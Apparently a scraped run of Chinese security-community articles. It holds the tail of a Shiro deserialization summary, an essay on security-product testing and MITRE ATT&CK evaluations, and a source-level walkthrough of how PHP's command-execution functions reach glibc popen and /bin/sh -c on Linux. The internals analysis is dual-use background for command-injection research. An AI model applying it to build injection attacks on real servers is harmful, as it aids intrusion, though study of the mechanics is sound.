## 总结
Apache
Shiro是一款相当优秀的认证授权框架，虽然在护网等大型攻防项目中，经常被作为突破口，但是仍然瑕不掩瑜，shiro的反序列化在流量识别中是比较容易判断的，因为序列化数据的传递必须要通过Cookie中的rememberme字段，但是纵使识别出来，但是如果不知道密钥的话，也无法得知传递的内容。
* * * | 社区文章 |
# ATT&CK随笔系列之三：比武招亲
##### 译文声明
本文是翻译文章，文章原作者 安全牛，文章来源：安全牛
原文地址：<https://mp.weixin.qq.com/s/sekkBOUookrqpN41e7gGNQ>
译文仅供参考，具体内容表达以及含义原文为准。
作者：余凯@瀚思科技
“偷天陷阱”是ATT&CK随笔系列第二篇，如果上天能给我机会让读者记住一个关键词，我选择“灵魂三问”，如果非要为她做点什么，希望是“基于ATT&CK衡量和改进”。
ATT&CK创造性的统一了黑客行为描述并基于社区持续构建扩展知识库，为防守方提供了具体明确的行动指导，安全运营不仅知己而且知彼，从而有机会衡量安全体系应对攻击的纵深防御、检测响应能力，并在实战对抗中持续改进提升，有望根本上解决长期困扰组织安全管理和运营的灵魂难题。
本文将延续上一篇展开探讨“衡量和改进”，开篇“比武招亲”的故事先看小说里古人遇到相似场景的挑战和思路，随后讲述现实中安全产品评测体系的渊源和发展，最后介绍MITRE是如何基于ATT&CK巧妙给出解决方案以供组织安全运营参考实践。
——瀚思科技副总裁余凯
## 从比武招亲说起，看“雀屏中选”的先进性
比武招亲是古代以比武为手段招纳女婿的形式，一般是招亲女子直接和打擂者切磋，清代王韬著剑侠小说《遁窟谰言》中描写西安女子仇慕娘面对和尚来挑战毫不留情打到对方骨折，但见到“体貌瑰玮，丰神清拔”的卫文庄则收剑认输道“君胜我矣”；明代纪振伦《杨家将通俗演义》也描述穆桂英比武招亲被杨宗保打败芳心暗许托付终身。问题是古代女子能打能把控局面的太少，而且若仅以武功高低作为唯一衡量标准往往无法像仇慕娘和穆桂英一样走运，例如金庸《射雕英雄传》穆念慈比武招亲遇到纨绔少爷杨康，现场赢了比赛却不认招亲。
《旧唐书》记载“雀屏中选”提到了一个新的模式，北周大将窦毅觉得女儿“才貌如此，不可妄以许人，当为求贤夫”，于是找一丹青妙手，在家中屏风上画孔雀，并邀请各路好手来家中，每人发两支箭请大家射孔雀，最后选择了射中雀目的李渊（即后来的唐朝开国皇帝）。这个比武招亲的模式创新在武功箭术只是一个切入点，对窦毅和女儿而言，选婿这个复杂的问题有多维度的考量而且每家不同，比武射箭是让年轻人在同一个平台上充分展示自己，最后乘龙快婿不是由简单规则推定，而是女方参考结果基于初心判定。
当然“雀屏中选”若要成为“比武招亲”的最佳实践推广，还有一个难点：比武招亲对“武”自然有期待，而“武力”评估这事很专业，身体素质本身就有上肢，核心区，腿部的耐力、爆发力；功夫也分刀剑骑射、轻功内力、散打拳击；而上升到战斗力，还需考量胆识、战术、谋略。若要系统性评价需要有新的民间智慧。
旨在衡量安全产品能力的安全评测也有类似的挑战，需求和变化演进。
## 对标排名(Benchmark)时代的冲突与困扰
安全产品的评测，比选婿问题更加复杂。以杀毒为代表的个人安全软件自诞生起不久就像其他个人用产品（例如汽车、相机、或绘图软件等）一样被行业专业机构评价、评测和对标排名(Benchmark)。起初消费类杂志IT主编自己试用和测试，随着病毒攻击手法日益多元和专业，杂志主编开始参考多家专业机构的安全评测，例如著名的PC
Magazine，此前我在趋势和PC-cillin团队每年参加其评测有如年度大考极其重视，而杂志主编Neil J.
Rubenking不仅自己有个小实验室体验评测，也参考包括AV-Test、AV-Comparative在内的多家第三方专业机构报告，于是就有了下图复杂的映射关系，图中间AV-comparative；AVTEST；DENNIS
Labs；Virus Bulletin是全球主流的四家评测机构，而下图则是参考其评分的各主流媒体。
图二、媒体和评测机构的关系
评测排名对个人安全产品销售几乎是决定性的影响，因而安全厂商对安全评测的质疑从未绝于耳:
1. 2008年我所在核心技术部老板Raimund Genes宣布Trend Micro将抵制VB100评测，原因是其持续用700新增在野病毒检测率来评价杀毒软件，漏掉一个即不通过，而实际每月新增病毒总量在数十万，这样导致评测结果过于随机。【1】
2. 2013年Symantec官方严厉批评 AV-comparative为PC Magazine所做的评测结果极具误导性，测试方法的约束严重限制了其安全能力发挥。【2】
随着NSS Labs和ICSA Labs等后起之秀将安全评测向企业级产品扩展，测试的复杂度和方法争议性更加突出；
1. 2014年FireEye批评NSSLabs在其拒绝参加失陷检测系统BDS评测后仍然对其产品做测试，NSS Labs随后做了精彩的回复并以“我能感受到你的爱”结尾，导致FireEye股价由$65应声跌落至$40。【3】
2. 2018年，NSS Labs对Symantec、CrowdStrike、ESET、反恶意软件测试标准组织(AMTSO)提起了反垄断诉讼，控告其推出“未经同意不可测试”条款，防止其产品被用于其高级终端防护AEP测试。【4】
上述冲突和质疑根源在于安全评测原生的各种复杂挑战：
是否与时俱进反映威胁和攻击现实我此前服务趋势科技核心技术部门，长期参与安全评测机构的对标测试，我与上面提到所有评测机构都经历过沟通方法、参与考试、讨论结果、优化引擎的循环，但投入重心主要在AV-Test、AV-Comparative和NSS Labs上。
1. AV-Test强在有能力持续收集大量高质量的在野病毒样本用以做检测覆盖率评估，其病毒样本质量优于Virus Total，评价聚焦[随笔系列第一篇](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651086103&idx=1&sn=ec1e1692b569d12db546b87b676bd242&scene=21#wechat_redirect)提到的痛苦金字塔第一层（最底层）哈希病毒码。
2. AV-Comparative强在模拟用户通过浏览器上网遇到的网页木马攻击(drive-by download)，与AV-Test同是评价终端安全产品，但相对体现了南北向Web攻击特点，评价从痛苦金字塔第一扩展到第二、三层。
3. 如[ATT&CK系列随笔开篇](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651086103&idx=1&sn=ec1e1692b569d12db546b87b676bd242&scene=21#wechat_redirect)第一段提及，NSS Labs是行业第一家关注和评测安全产品对抗失陷后(Post-Breach)攻击能力的厂商，其在2012年或更早就开启了这个艰难模式的探索。2012年底NSS Labs引入面向内网东西向对抗的BDS (失陷检测系统，Breach Detection System)评测以及2016年引入面向终端东西向对抗的AEP (高级终端防护，Advanced Endpoint Protection)评测都是颇有行业影响力的颠覆性创新。
引入BDS和AEP评测旨在进一步模拟企业网络面临的高级威胁攻击，不仅强化了南北向攻击的手法，也引入了东西向渗透手段，以此进一步评估安全设备对于包括邮件、SMB在内的更多种东西向协议的分析能力，安全评价进一步扩展到痛苦金字塔第四、五层。迄今为止，传统评测厂商尚没有能穿透痛苦金字塔提供第六层TTP的能力评估，而这又恰是当代安全攻防的重点，即聚焦黑客行为的检测与响应。
* 如何平衡自身利益，客户利益和厂商利益
上述评测机构都是商业公司，盈利模式无非几种：卖用过的样本、卖模拟考、卖报告给客户参考、卖报告给厂商分发、提供厂商付费并主导的定制测试。看上去公正公开，而事实上只要商业化则做对标排名就必然充满槽点；类似高考的设计者，始终在应试教育和素质教育的矛盾下饱受批评，评测机构总是难以平衡自身利益、客户利益和厂商利益。举例而言，上述NSS
Labs与Symantec等几家厂商冲突的本质是，评测机构是否有权利在未经厂商同意前提下做评测。NSS
Labs坚持的是客户利益优先原则，你能卖我就能买来测。而Symantec等质疑的是NSS Labs测试方法不透明公开，以思想领袖(thought
leader)姿态强势逼迫厂商以反复模拟考提高能力，进而失去安全对抗话语权。
* 安全产品对标排名是否能满足不同客户需求
安全评测往往基于多维度和多因子加权打分、排名，问题是这些被纳入考量的维度和因子在不同的环境下会有不同的影响，而不同的客户也会有迥异的需求。例如网络设备追求检测率往往引入更多的计算，从而拉低吞吐，而高业务要求的组织可能会放弃检测率保吞吐量，安全评测很难给出合适的分数加权。再如有强安全团队或采购了托管安全的服务组织可能希望有更全面的安全数据做分析和狩猎，而情况相反的组织则期望产品能精准的自动化告警。这些比喻在比武招亲的场景下也很容易理解，开篇故事提到的窦家和同在北周的某商贾之家所中意的夫婿一定截然不同，若有个媒人说可以承担两家的招亲评测，给出的排名八成要被嗤之以鼻无法理喻。更大的挑战是，客户的需求不仅在于辨别好坏和适用，还有对于安全投资的价值量化（参考上一篇随笔之“灵魂三问”）。例如，一个提供所谓97%检测率的沙箱产品，加上据说98%检测率的流量分析产品，配合号称99%检测率的主机安全产品，对既有纵深防御体系的加成和增益有多少，各自对实战攻防的贡献如何？长期以来是一本糊涂账，难以回答。
## MITRE的咨询式展示评估：安全领域的雀屏中选
2017年MITRE接受美国政府的咨询服务希望评测行业内的EDR产品，MITRE设计了一套评测方法并第一个应用于Endgame【5】，随后是Crowdstrike【6】，到2018年初正式宣布发起第一轮公开的EDR产品评测邀约，并于当年十一月完成。如图三，MITRE基于ATT&CK为评测定义了一个新的名字：入侵者模拟(Adversary
Emulation)。【7】
在了解入侵者模拟前，我们对脆弱性扫描、渗透测试和红队先有基本共识，简言之：
1. 脆弱性扫描是针对资产已知漏洞、弱密码等脆弱点做自动化扫描。
2. 渗透测试是基于工具或人工全面分析资产和业务流程中包括未知漏洞、配置问题在内的安全缺陷。
3. 红队是在不影响营运的前提下，白帽子黑客对组织进行实战化入侵和攻击，获得指定核心资源的控制权。
入侵者模拟(Adversary Emulation)是MITRE ATT&CK评测的核心观念和实施基础，其本质是ATT&CK +
红队，即红队模拟ATT&CK 描述的入侵者攻击行为。换言之，选择入侵者是起点。MITRE ATT&CK
2018年第一轮评测是基于APT3模拟，2019年第二轮是基于APT29模拟。
图四、MITRE评测价值
MITRE
ATT&CK入侵者模拟评测相比前文提及的传统对标排名(Benchmark)方式有很多创新和改变，平衡了三方的利益（如图四），实践了“雀屏中选”的理念并有了更完美的方案：
1. 穿透痛苦金字塔进化至顶层，基于高维黑客行为（TTP）进行安全评测。
2. 中立的非盈利机构主导，与厂商成为伙伴共建场景和设计评测。目标是推广ATT&CK，收集更多的检测方法，同时让厂商了解自身的能力、局限并持续提升。
3. 不比较、不评分、不排名、不定级。实质是向所有人公开、透明的展示ATT&CK应用场景，并建议用户参照学习进而将对抗入侵者攻击模拟的最佳实践融入安全运营做可衡量改进。
4. 每轮评测结束，MITRE会将评测攻击脚本基于自研工具CALDERA做简化转换以供有兴趣的组织在自己的环境自动化复现，并据此在本组织环境评价选择最合适的安全产品和运营流程。【8】
5. 为安全评价提供多维度多因子和相关原始数据，包括检测告警、丰富化信息、遥测信息、关联分析信息、检测时间等，同时建议客户基于自身组织环境考量误报噪音、吞吐性能、部署方式、单位拥有成本、安全运营系统集成、分析能力、用户交互、默认安全策略等诸多因素。
相比传统商业评测机构低维封闭的“对标排名”(Benchmark)，MITRE作为中立非盈利组织引入了上述咨询式展示评估(Evaluation)，先进性核心体现在高维透明的方法论、开放与时俱进的知识库和客户可选择可行动的相关性，自2018年开始推广后获得了巨大成功，国际一线安全厂商悉数参与，各种赞美，并不遗余力争相贡献。去年我尚在趋势科技时，MITRE
ATT&CK评测已经逐步成为公司资源最优先投入的头等大考。上月[ATT&CK随笔](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651086371&idx=1&sn=9c62e9716a11ce15035a7093cd65fce4&scene=21#wechat_redirect)我提及当前“云安全”TTP尚在讨论，月底Microsoft主力贡献的ATT&CK
for Cloud即在ATT&CKcon 2.0上正式发布！
ATT&CK评测也推动了入侵者攻击模拟和相应安全成熟度衡量评测在各组织安全运营落地，近一、两年国内不少拥有强安全团队的头部优秀公司也开始内部创建红、蓝、紫队并基于ATT&CK做实战攻防演练、安全体系建设和安全运营改进。
MITRE针对拥有不同资源和需求的客户有清晰而具体的实践推荐：【9】
1. 小团队基于ATT&CK选择高优先级的TTP独立测试，以驱动蓝队验证或优化数据源，并将覆盖率作为目标持续改进。
2. 中型团队基于现有的黑客工具（例如Cobalt Strike，Empire）模拟既定入侵者的历史行为，推动检测和相应改进。
3. 专业攻防团队可以从威胁情报提供商采购基于ATT&CK TTP的高级威胁情报获得既定入侵者的最新行为，直接设计入侵者攻击模拟脚本，进行红蓝对抗，持续改进纵深防御和安全运营能力。
4. 用户也可以采购第三方安全厂商提供的入侵者模拟产品和服务，结合原生支持ATT&CK知识库的大数据安全平台实现上述目标（如下图五）
图五、安全运营基于ATT&CK做持续衡量改进
上文中提到基于ATT&CK的高级威胁情报，国外已经有成熟输出流程，头部厂商例如FireEye、Palo
Alto、Kaspersky等都已经在标准威胁情报或APT报告中提供。详细见文后附录【10】【11】【12】
本文简单梳理了安全评测行业痛苦爬坡金字塔的过程，以及由传统饱受争议的商业评测机构“对标排名评测”进化为MITRE作为中立非盈利组织“咨询式展示评估”的创新，为各组织引入可衡量以做持续改进的安全运营提出了落地起点和行动建议。
下一篇ATT&CK随笔会将视角转向国内客户集体关注的大型实网攻防演练，聊一聊组织如何基于ATT&CK做“体系化”安全建设，以迎接“实战化”、“常态化”攻防演练检验。
感谢微信公众号“安全小飞侠”作者王任飞(avfisher)和我在趋势的好友伍卫民为本文创作提出宝贵建议！
## 参考文献
1、<https://www.theregister.co.uk/2008/06/09/trend_vb_test_criticism/>
2、<https://community.norton.com/en/blogs/norton-protection-blog/beyond-headlines-don%E2%80%99t-be-fooled-misleading-security-tests>
3、<https://www.nsslabs.com/blog/2014/4/3/dont-shoot-the-messenger/>
4、<https://www.nsslabs.com/blog/2018/9/19/nss-labs-vs-crowdstrike-symantec-eset-and-the-anti-malware-testing-standards-organization/>
5、<https://www.endgame.com/blog/executive-blog/modern-model-cyber-adversarial-behavior>
6、<https://www.crowdstrike.com/blog/crowdstrike-falcon-defeats-gothic-panda-in-mitre-nation-state-emulation-test/>
7、<https://medium.com/mitre-attack/getting-started-with-attack-red-29f074ccf7e3>
8、<https://github.com/mitre-attack/evals_caldera>
9、<https://medium.com/mitre-attack/getting-started-with-attack-red-29f074ccf7e3>
10、<https://unit42.paloaltonetworks.com/unit42-introducing-the-adversary-playbook-first-up-oilrig/>
11、<https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html><https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html>
12、<https://www.kaspersky.com/about/press-releases/2019_kaspersky-lab-enriches-apt-intelligence-reports-with-added-actors-profiles-and-mitre-att-ck-framework> | 社区文章 |
# 命令执行底层原理探究-PHP（四）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
针对不同平台/语言下的命令执行是不相同的，存在很大的差异性。因此，这里对不同平台/语言下的命令执行函数进行深入的探究分析。
文章开头会对不同平台(Linux、Windows)下：终端的指令执行、语言(PHP、Java、Python)的命令执行进行介绍分析。后面，主要以PHP语言为对象，针对不同平台，对命令执行函数进行底层深入分析，这个过程包括：环境准备、PHP内核源码的编译、运行、调试、审计等，其它语言分析原理思路类似。
该系列分析文章主要分为四部分，如下：
* 第一部分：命令执行底层原理探究-PHP (一)
针对不同平台(Linux、Windows)下：终端的指令执行、语言(PHP、Java、Python)的命令执行进行介绍分析。
* 第二部分：命令执行底层原理探究-PHP (二)
主要以PHP语言为对象，针对不同平台，进行环境准备、PHP内核源码的编译、运行、调试等。
* 第三部分：命令执行底层原理探究-PHP (三)
针对Windows平台下，PHP命令执行函数的底层原理分析。
* 第四部分：命令执行底层原理探究-PHP (四)
针对Linux平台下，PHP命令执行函数的底层原理分析。
本文 **《 命令执行底层原理探究-PHP (四) 》** 主要讲述的是第四部分：针对Linux平台下，PHP命令执行函数的底层原理分析。
## PHP for Linux
针对Linux平台下：PHP命令执行函数的底层分析。
### 命令执行底层分析
同样，针对命令执行函数的底层分析，这里主要采用两种手段去分析：静态审计(静态审计内核源码)、动态审计(动态调试内核源码)。
#### 静态审计
接着`PHP for
Windows->命令执行底层分析->静态审计`部分，里面写到`system、exec、passthru、shell_exec`这类命令执行函数原理相同，底层都调用了相同函数`VCWD_POPEN()`去执行系统指令，`VCWD_POPEN()`函数由`virtual_popen()`函数实现。
同时，`virtual_popen()`函数是作为不同平台的分割点，那么针对Linux平台下的PHP命令执行函数底层实现就可以从这里继续分析。
由于`VCWD_POPEN`函数为`virtual_popen`实现，直接进入`virtual_popen()`函数实现：`Zend\zend_virtual_cwd.c:1831`
#ifdef ZEND_WIN32
CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
return popen_ex(command, type, CWDG(cwd).cwd, NULL);
}
/* }}} */
#else /* Unix */
CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
size_t command_length;
int dir_length, extra = 0;
char *command_line;
char *ptr, *dir;
FILE *retval;
command_length = strlen(command);
dir_length = CWDG(cwd).cwd_length;
dir = CWDG(cwd).cwd;
while (dir_length > 0) {
if (*dir == '\'') extra+=3;
dir++;
dir_length--;
}
dir_length = CWDG(cwd).cwd_length;
dir = CWDG(cwd).cwd;
ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);
memcpy(ptr, "cd ", sizeof("cd ")-1);
ptr += sizeof("cd ")-1;
if (CWDG(cwd).cwd_length == 0) {
*ptr++ = DEFAULT_SLASH;
} else {
*ptr++ = '\'';
while (dir_length > 0) {
switch (*dir) {
case '\'':
*ptr++ = '\'';
*ptr++ = '\\';
*ptr++ = '\'';
/* fall-through */
default:
*ptr++ = *dir;
}
dir++;
dir_length--;
}
*ptr++ = '\'';
}
*ptr++ = ' ';
*ptr++ = ';';
*ptr++ = ' ';
memcpy(ptr, command, command_length+1);
retval = popen(command_line, type);
efree(command_line);
return retval;
}
/* }}} */
#endif
不难发现，针对`virtual_popen()`函数实现，存在于不同平台，这里主要分析Linux平台。
针对Linux平台分析，可发现`virtual_popen()`函数不像WIN平台那样直接调用`popen_ex()`函数，而是自身进行了很多处理，事实上看过`PHP
for
Windows->命令执行底层分析->静态审计`部分，就会发现Linux平台下的`virtual_popen()`函数实现和windows中`TSRM\tsrm_win32.c`下的`popen_ex()`函数实现功能类似，都是对命令参数、当前工作空间等进行处理(分配空间、赋值)，然后去启动相应的进程来完成命令执行过程。
继续向后跟进分析`virtual_popen()`函数，最终会调用`popen(command_line,
type)`函数来执行命令。到了这里可能会有人疑惑，这里的`popen()`函数是谁实现的：是平常php里面用的`popen()`函数吗、是`TSRM\tsrm_win32.c:467`中的`TSRM_API
FILE *popen(const char *command, const char
*type)`函数吗，答案都是否定的，下面来看一下这几种猜想为什么是错误的。
第一种：php中的`popen()`函数。首先你要明白，你现在审计的是PHP内核源码，而不是在编写php程序代码。在PHP内核源码中，里面大部分都是定义与实现的PHP各种函数。
有关php中的`popen()`函数定义与实现在源码`ext\standard\file.c:927`中
/* {{{ proto resource popen(string command, string mode)
Execute a command and open either a read or a write pipe to it */
PHP_FUNCTION(popen)
{
char *command, *mode;
size_t command_len, mode_len;
FILE *fp;
php_stream *stream;
char *posix_mode;
ZEND_PARSE_PARAMETERS_START(2, 2)
Z_PARAM_PATH(command, command_len)
Z_PARAM_STRING(mode, mode_len)
ZEND_PARSE_PARAMETERS_END();
posix_mode = estrndup(mode, mode_len);
#ifndef PHP_WIN32
{
char *z = memchr(posix_mode, 'b', mode_len);
if (z) {
memmove(z, z + 1, mode_len - (z - posix_mode));
}
}
#endif
fp = VCWD_POPEN(command, posix_mode);
if (!fp) {
php_error_docref2(NULL, command, posix_mode, E_WARNING, "%s", strerror(errno));
efree(posix_mode);
RETURN_FALSE;
}
stream = php_stream_fopen_from_pipe(fp, mode);
if (stream == NULL) {
php_error_docref2(NULL, command, mode, E_WARNING, "%s", strerror(errno));
RETVAL_FALSE;
} else {
php_stream_to_zval(stream, return_value);
}
efree(posix_mode);
}
/* }}} */
第二种：`TSRM\tsrm_win32.c:467`中的`*popen()`函数。细心的话你会发现在Linux平台编译下，根本不会去加载编译`TSRM\tsrm_win32.c:467`文件。
继续分析为什么，首先`*popen()`函数定义是在`TSRM\tsrm_win32.h:104`头文件中，那么查看`TSRM\tsrm_win32.c`文件是否包含该头文件
从包含结果可以发现，`TSRM\tsrm_win32.c`文件只在Windows平台下才会去包含`TSRM\tsrm_win32.h`头文件，这就说明在Linux平台下无法加载`TSRM\tsrm_win32.c:467`中的函数。
既然这两种猜想都不对那么`*virtual_popen()`中的`poen()`函数是由谁实现的，如果你对Linux平台熟悉的话，就会知道这里的`poen()`函数是在Linux下共享链接库`glibc`中实现的。
借助Windows平台下源码审查工具`Source Insight`【导入`glibc-2.31`源码项目】进行底层函数`poen()`跟踪分析
搜索整个项目定位`popen()`函数定义与实现位置：`libio\iopopen.c:321`
strong_alias (_IO_new_popen, __new_popen)
versioned_symbol (libc, _IO_new_popen, _IO_popen, GLIBC_2_1);
versioned_symbol (libc, __new_popen, popen, GLIBC_2_1);
versioned_symbol (libc, _IO_new_proc_open, _IO_proc_open, GLIBC_2_1);
versioned_symbol (libc, _IO_new_proc_close, _IO_proc_close, GLIBC_2_1);
从上代码片段可以看出，`popen()`最终的实现为`_IO_new_popen()`，向上索引找到`_IO_new_popen()`函数实现：`libio\iopopen.c:220`
FILE *
_IO_new_popen (const char *command, const char *mode)
{
struct locked_FILE
{
struct _IO_proc_file fpx;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
} *new_f;
FILE *fp;
new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fpx.file.file._lock = &new_f->lock;
#endif
fp = &new_f->fpx.file.file;
_IO_init_internal (fp, 0);
_IO_JUMPS (&new_f->fpx.file) = &_IO_proc_jumps;
_IO_new_file_init_internal (&new_f->fpx.file);
if (_IO_new_proc_open (fp, command, mode) != NULL)
return (FILE *) &new_f->fpx.file;
_IO_un_link (&new_f->fpx.file);
free (new_f);
return NULL;
}
在`_IO_new_popen()`函数中，除了变量的定义与处理，核心的地方是将command指令参数传给`_IO_new_proc_open (fp,
command, mode)`函数去实现，所以跟进`_IO_new_proc_open()`函数实现：`libio\iopopen.c:109`
FILE *
_IO_new_proc_open (FILE *fp, const char *command, const char *mode)
{
int read_or_write;
/* These are indexes for pipe_fds. */
int parent_end, child_end;
int pipe_fds[2];
int child_pipe_fd;
bool spawn_ok;
int do_read = 0;
int do_write = 0;
int do_cloexec = 0;
while (*mode != '\0')
switch (*mode++)
{
case 'r':
do_read = 1;
break;
case 'w':
do_write = 1;
break;
case 'e':
do_cloexec = 1;
break;
default:
errout:
__set_errno (EINVAL);
return NULL;
}
if ((do_read ^ do_write) == 0)
goto errout;
if (_IO_file_is_open (fp))
return NULL;
/* Atomically set the O_CLOEXEC flag for the pipe end used by the
child process (to avoid leaking the file descriptor in case of a
concurrent fork). This is later reverted in the child process.
When popen returns, the parent pipe end can be O_CLOEXEC or not,
depending on the 'e' open mode, but there is only one flag which
controls both descriptors. The parent end is adjusted below,
after creating the child process. (In the child process, the
parent end should be closed on execve, so O_CLOEXEC remains set
there.) */
if (__pipe2 (pipe_fds, O_CLOEXEC) < 0)
return NULL;
if (do_read)
{
parent_end = 0;
child_end = 1;
read_or_write = _IO_NO_WRITES;
child_pipe_fd = 1;
}
else
{
parent_end = 1;
child_end = 0;
read_or_write = _IO_NO_READS;
child_pipe_fd = 0;
}
posix_spawn_file_actions_t fa;
/* posix_spawn_file_actions_init does not fail. */
__posix_spawn_file_actions_init (&fa);
/* The descriptor is already the one the child will use. In this case
it must be moved to another one otherwise, there is no safe way to
remove the close-on-exec flag in the child without creating a FD leak
race in the parent. */
if (pipe_fds[child_end] == child_pipe_fd)
{
int tmp = __fcntl (child_pipe_fd, F_DUPFD_CLOEXEC, 0);
if (tmp < 0)
goto spawn_failure;
__close_nocancel (pipe_fds[child_end]);
pipe_fds[child_end] = tmp;
}
if (__posix_spawn_file_actions_adddup2 (&fa, pipe_fds[child_end],
child_pipe_fd) != 0)
goto spawn_failure;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (unlock);
_IO_lock_lock (proc_file_chain_lock);
#endif
spawn_ok = spawn_process (&fa, fp, command, do_cloexec, pipe_fds,
parent_end, child_end, child_pipe_fd);
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (proc_file_chain_lock);
_IO_cleanup_region_end (0);
#endif
__posix_spawn_file_actions_destroy (&fa);
if (!spawn_ok)
{
spawn_failure:
__close_nocancel (pipe_fds[child_end]);
__close_nocancel (pipe_fds[parent_end]);
__set_errno (ENOMEM);
return NULL;
}
_IO_mask_flags (fp, read_or_write, _IO_NO_READS|_IO_NO_WRITES);
return fp;
}
可以看到`_IO_new_proc_open()`函数代码开始部分对`mode`参数进行了处理，接着后面核心代码处调用了`spawn_process
(&fa, fp, command, do_cloexec, pipe_fds, parent_end, child_end,
child_pipe_fd)`函数，这个函数很明显看起来和进程有关系，不出意外后续代码的实现与调用肯定是创建command进程相关，进入`spawn_process()`函数实现：`libio\iopopen.c:71`
/* POSIX states popen shall ensure that any streams from previous popen()
calls that remain open in the parent process should be closed in the new
child process.
To avoid a race-condition between checking which file descriptors need to
be close (by transversing the proc_file_chain list) and the insertion of a
new one after a successful posix_spawn this function should be called
with proc_file_chain_lock acquired. */
static bool
spawn_process (posix_spawn_file_actions_t *fa, FILE *fp, const char *command,
int do_cloexec, int pipe_fds[2], int parent_end, int child_end,
int child_pipe_fd)
{
for (struct _IO_proc_file *p = proc_file_chain; p; p = p->next)
{
int fd = _IO_fileno ((FILE *) p);
/* If any stream from previous popen() calls has fileno
child_pipe_fd, it has been already closed by the adddup2 action
above. */
if (fd != child_pipe_fd
&& __posix_spawn_file_actions_addclose (fa, fd) != 0)
return false;
}
if (__posix_spawn (&((_IO_proc_file *) fp)->pid, _PATH_BSHELL, fa, 0,
(char *const[]){ (char*) "sh", (char*) "-c",
(char *) command, NULL }, __environ) != 0)
return false;
__close_nocancel (pipe_fds[child_end]);
if (!do_cloexec)
/* Undo the effects of the pipe2 call which set the
close-on-exec flag. */
__fcntl (pipe_fds[parent_end], F_SETFD, 0);
_IO_fileno (fp) = pipe_fds[parent_end];
((_IO_proc_file *) fp)->next = proc_file_chain;
proc_file_chain = (_IO_proc_file *) fp;
return true;
}
这里很明显`spawn_process()`函数的实现是由`__posix_spawn()`函数来完成的
if (__posix_spawn (&((_IO_proc_file *) fp)->pid, _PATH_BSHELL, fa, 0,
(char *const[]){ (char*) "sh", (char*) "-c",
(char *) command, NULL }, __environ) != 0)
查看`_PATH_BSHELL`预定义参数值：`sysdeps\unix\sysv\linux\paths.h:41`
#define _PATH_BSHELL "/bin/sh"
不难看出PHP命令执行函数传入的系统指令参数，底层将调用`/bin/sh`可执行程序来执行
/bin/sh -c command
注意：这里的`/bin/sh`在不同平台中所指向的链接不同。
Linux系统，主要分为debian系（主要有Debian，Ubuntu，Mint等及其衍生版本）和redhat系（主要有RedHat，Fedora，CentOs等），还有其它自由的发布版本。debian系默认`/bin/sh`指向`/bin/dash`；redhat系默认`/bin/sh`指向`/bin/bash`。
Debian Almquist Shell 简称 dash，主要存在于debian类别的Linux系统中。
> 最初，bash是GNU/Linux 操作系统中 /bin/sh 的符号链接，但由于bash过于复杂，有人把 bash 从 NetBSD 移植到
> Linux 并更名为 dash，且/bin/sh符号连接到dash。Dash Shell 比 Bash Shell
> 小的多（ubuntu16.04上，bash大概1M，dash只有150K），符合POSIX标准。Ubuntu 6.10开始默认是Dash。
跟进`__posix_spawn()`函数实现：`posix\spawn.c:25`
/* Spawn a new process executing PATH with the attributes describes in *ATTRP.
Before running the process perform the actions described in FILE-ACTIONS. */
int
__posix_spawn (pid_t *pid, const char *path,
const posix_spawn_file_actions_t *file_actions,
const posix_spawnattr_t *attrp, char *const argv[],
char *const envp[])
{
return __spawni (pid, path, file_actions, attrp, argv, envp, 0);
}
`__posix_spawn()`函数直接调用`__spawni()`函数来实现，根据`__posix_spawn()`函数注释描述可知，该函数功能为创建一个新的可执行程序进程也就是`/bin/sh`进程。
进入`__spawni()`函数实现：`sysdeps\unix\sysv\linux\spawni.c:424`
/* Spawn a new process executing PATH with the attributes describes in *ATTRP.
Before running the process perform the actions described in FILE-ACTIONS. */
int
__spawni (pid_t * pid, const char *file,
const posix_spawn_file_actions_t * acts,
const posix_spawnattr_t * attrp, char *const argv[],
char *const envp[], int xflags)
{
/* It uses __execvpex to avoid run ENOEXEC in non compatibility mode (it
will be handled by maybe_script_execute). */
return __spawnix (pid, file, acts, attrp, argv, envp, xflags,
xflags & SPAWN_XFLAGS_USE_PATH ? __execvpex :__execve);
}
可以看到`__spawni()`函数的实现，直接调用`__spawnix()`函数返回。
查看`__spawnix()`函数的实现：`sysdeps\unix\sysv\linux\spawni.c:312`
/* Spawn a new process executing PATH with the attributes describes in *ATTRP.
Before running the process perform the actions described in FILE-ACTIONS. */
static int
__spawnix (pid_t * pid, const char *file,
const posix_spawn_file_actions_t * file_actions,
const posix_spawnattr_t * attrp, char *const argv[],
char *const envp[], int xflags,
int (*exec) (const char *, char *const *, char *const *))
{
pid_t new_pid;
struct posix_spawn_args args;
int ec;
/* To avoid imposing hard limits on posix_spawn{p} the total number of
arguments is first calculated to allocate a mmap to hold all possible
values. */
ptrdiff_t argc = 0;
/* Linux allows at most max (0x7FFFFFFF, 1/4 stack size) arguments
to be used in a execve call. We limit to INT_MAX minus one due the
compatiblity code that may execute a shell script (maybe_script_execute)
where it will construct another argument list with an additional
argument. */
ptrdiff_t limit = INT_MAX - 1;
while (argv[argc++] != NULL)
if (argc == limit)
{
errno = E2BIG;
return errno;
}
int prot = (PROT_READ | PROT_WRITE
| ((GL (dl_stack_flags) & PF_X) ? PROT_EXEC : 0));
/* Add a slack area for child's stack. */
size_t argv_size = (argc * sizeof (void *)) + 512;
/* We need at least a few pages in case the compiler's stack checking is
enabled. In some configs, it is known to use at least 24KiB. We use
32KiB to be "safe" from anything the compiler might do. Besides, the
extra pages won't actually be allocated unless they get used. */
argv_size += (32 * 1024);
size_t stack_size = ALIGN_UP (argv_size, GLRO(dl_pagesize));
